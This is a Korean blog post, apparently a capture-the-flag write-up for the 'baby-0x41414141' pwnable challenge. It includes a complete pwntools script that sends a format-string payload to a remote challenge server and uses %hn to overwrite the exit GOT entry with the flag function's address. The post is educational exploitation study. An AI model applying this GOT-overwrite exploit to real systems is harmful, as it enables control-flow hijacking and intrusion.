블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 10. 13. 16:48 Hack/포너블

baby-0x41414141.tar.gz


문제 특징.

1. FSB

2. exit()로 끝나기 때문에 main의 RET 변조는 의미 없음

3. NX 존재

4. flag() 함수 존재




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-*- coding: UTF-8 -*-
from pwn import *
 
# proc = process('./32_new')
proc = remote('163.172.176.29'9035)
 
payload = ''
payload += '%8x' * 9
payload += '%x' * 6
payload += '%x' * 3 + '%8x'
payload += '%x' * 4
payload += '%34277x' + '%x' * 5 + '%hn' + '1234'
payload += p32(0x0804a034)
 
pause()
 
# exploit
print(proc.recvuntil('name?\n'))
proc.sendline(payload)
 
print(proc.recv())
proc.interactive()
 
cs

1. exploit
exit@plt.got(0x0804a034)를 flag 함수의 주소(0x0804870b)로 바꿔주면 된다.
상위 2byte는 0x0804로 값이 같기 때문에 하위 2byte만 %hn으로 변경해주면 된다.

0x870b 라는 값을 넣기 위한 payload를 작성하고 exploit한다.


후기.

payload를 짜는게 힘들었다. pwntools에 FSB 툴이 있다고 알고 있는데 알아봐야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy